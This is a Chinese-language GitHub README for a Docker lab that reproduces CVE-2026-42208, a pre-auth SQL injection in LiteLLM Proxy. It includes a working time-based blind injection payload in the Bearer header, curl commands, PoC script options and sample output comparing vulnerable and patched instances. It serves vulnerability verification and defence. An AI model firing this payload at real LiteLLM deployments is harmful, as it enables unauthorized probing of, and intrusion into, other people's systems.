rootdirective-sec/cve-2026-42208-Lab

GitHub: rootdirective-sec/cve-2026-42208-Lab

该项目为 CVE-2026-42208(LiteLLM Proxy 预认证 SQL 注入漏洞)提供本地 Docker 复现环境和安全的时间盲注验证 PoC,方便安全人员无害化复现与评估该漏洞。

Stars: 0 | Forks: 0

# CVE-2026-42208 — LiteLLM Pre-Auth SQL 注入时间盲注 PoC CVE-2026-42208 的本地 Docker 实验环境与最小危害 PoC,该漏洞是 LiteLLM Proxy API 密钥验证路径中的一个 Pre-Auth(预认证)SQL 注入漏洞。 本仓库演示了使用基于时间的 PostgreSQL `pg_sleep()` 证明,来展示存在漏洞的 LiteLLM 实例与已修补的 LiteLLM 实例之间的差异。 ## 概述 CVE-2026-42208 影响 LiteLLM Proxy 从 `1.81.16` 版本到 `1.83.7` 之前的版本。 该漏洞通过向 LiteLLM API 端点发送特制的 `Authorization: Bearer ...` 请求头触发。在受影响的版本中,调用者提供的 token 可以在 API 密钥验证期间进入 SQL 查询路径。 本实验环境对比了: | 服务 | 版本 | URL | 预期结果 | | --------- | ----------------: | ----------------------- | -------------------- | | `vuln` | `v1.83.6-nightly` | `http://127.0.0.1:8081` | 延迟的 401 响应 | | `patched` | `v1.83.7-stable` | `http://127.0.0.1:8082` | 快速的 401 响应 | 该证明使用了类似于以下的 payload: ``` ' OR (SELECT pg_sleep(6)) IS NULL -- ``` 两个服务都应返回 HTTP `401`,但存在漏洞的实例响应大约需要 6 秒,而已修补的实例会快速响应。 ## 仓库结构 ``` . ├── docker-compose.yml ├── vuln/ │ ├── Dockerfile │ └── config.yaml ├── patched/ │ ├── Dockerfile │ └── config.yaml ├── poc/ │ └── poc.py ├── README.md └── .gitignore ``` ## 实验环境架构 ``` localhost:8081 -> vulnerable LiteLLM -> PostgreSQL db-vuln localhost:8082 -> patched LiteLLM -> PostgreSQL db-patched ``` PostgreSQL 服务是内部 Docker 服务,不会暴露给宿主机。 只有 LiteLLM HTTP 端口被暴露: | 宿主机端口 | 服务 | 容器端口 | | ---------: | ------------------ | ------: | | `8081` | 存在漏洞的 LiteLLM | `4000` | | `8082` | 已修补的 LiteLLM | `4000` | ## 环境要求 * Docker Desktop * Docker Compose v2 * Python 3 ## 启动实验环境 ``` docker compose up -d --build ``` 检查服务状态: ``` docker compose ps ``` 预期状态: ``` db-vuln healthy db-patched healthy vuln healthy patched healthy ``` ## 运行 PoC 测试存在漏洞的实例: ``` python3 poc/poc.py --url http://127.0.0.1:8081 ``` 测试已修补的实例: ``` python3 poc/poc.py --url http://127.0.0.1:8082 ``` ## PoC 选项 ``` --url Target base URL --path API path to test. Default: /v1/chat/completions --sleep Seconds for pg_sleep(). Default: 6 --rounds Number of probe rounds. Default: 2 ``` 示例: ``` python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2 ``` ``` python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions ``` ## 预期输出 存在漏洞的实例: ``` [*] target=http://127.0.0.1:8081 [*] path=/v1/chat/completions [*] sleep=6 [*] rounds=2 [*] Running baseline request [baseline] status=401 elapsed=0.041s body='...' [*] Running timing probes [probe] round=1 status=401 elapsed=6.048s body='...' [probe] round=2 status=401 elapsed=6.033s body='...' [*] Verdict baseline=0.041s probe_median=6.040s delta=5.999s result=LIKELY VULNERABLE reason=crafted Authorization header caused a timing delay consistent with SQL evaluation ``` 已修补的实例: ``` [*] target=http://127.0.0.1:8082 [*] path=/v1/chat/completions [*] sleep=6 [*] rounds=2 [*] Running baseline request [baseline] status=401 elapsed=0.025s body='...' [*] Running timing probes [probe] round=1 status=401 elapsed=0.030s body='...' [probe] round=2 status=401 elapsed=0.013s body='...' [*] Verdict baseline=0.025s probe_median=0.021s delta=-0.004s result=LIKELY PATCHED_OR_NOT_TRIGGERED reason=no meaningful timing difference observed ``` ## 本地运行证据 来自此实验环境的示例结果: ``` [probe] vuln round=1 status=401 elapsed=6.048s [probe] vuln round=2 status=401 elapsed=6.033s [probe] patched round=1 status=401 elapsed=0.030s [probe] patched round=2 status=401 elapsed=0.013s vuln: LIKELY VULNERABLE timing median=6.040s patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s ``` 重要的观察结果是,两个服务都返回了 `401`,但只有存在漏洞的服务延迟了大约 `pg_sleep()` 指定的时间。 ## 为什么使用时间证明 本仓库使用时间证明是因为它比提取数据更安全。 该 PoC 通过观察响应延迟来证明注入的 SQL 表达式已被执行。它不会尝试转储数据库行、提取 API 密钥、修改记录或绕过身份验证。 ## 手动时间检查 存在漏洞的服务: ``` time curl -sS -o /dev/null -w '%{http_code}\n' \ -X POST http://127.0.0.1:8081/v1/chat/completions \ -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \ -H "Content-Type: application/json" \ -d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}' ``` 已修补的服务: ``` time curl -sS -o /dev/null -w '%{http_code}\n' \ -X POST http://127.0.0.1:8082/v1/chat/completions \ -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \ -H "Content-Type: application/json" \ -d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}' ``` 预期行为: ``` vulnerable -> approximately 6 seconds patched -> near-immediate response ``` ## 清理 ``` docker compose down -v ``` 这将移除容器、网络和 PostgreSQL 卷。 ## 安全提示 本实验环境仅供本地和经授权的测试使用。 请勿对您不拥有或未经授权测试的系统运行此 PoC。 请勿在此实验环境中使用真实的提供商 API 密钥或生产环境的 LiteLLM 凭证。 默认的 PoC 避免了破坏性行为,并且不会提取数据库内容。 ## 参考资料 * [GitHub 安全公告:GHSA-r75f-5x8p-qvmc](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc) * [NVD: CVE-2026-42208](https://nvd.nist.gov/vuln/detail/CVE-2026-42208) * [CVE 记录:CVE-2026-42208](https://www.cve.org/CVERecord?id=CVE-2026-42208) * [LiteLLM 安全更新:LiteLLM Proxy 中的 CVE-2026-42208](https://docs.litellm.ai/blog/cve-2026-42208-litellm-proxy-sql-injection) * [Bishop Fox: CVE-2026-42208 — LiteLLM Proxy 中的 Pre-Auth SQL 注入](https://bishopfox.com/blog/cve-2026-42208-pre-authentication-sql-injection-in-litellm-proxy)
标签:API安全, CISA项目, CVE-2026-42208, Docker, JSON输出, LiteLLM, Maven, pg_sleep, PoC, PostgreSQL, 代理服务漏洞, 安全实验室, 安全防御评估, 数据展示, 时间盲注, 暴力破解, 测试用例, 漏洞复现, 漏洞验证, 版权保护, 红队, 网络安全, 请求拦截, 身份验证绕过, 逆向工具, 隐私保护, 预认证漏洞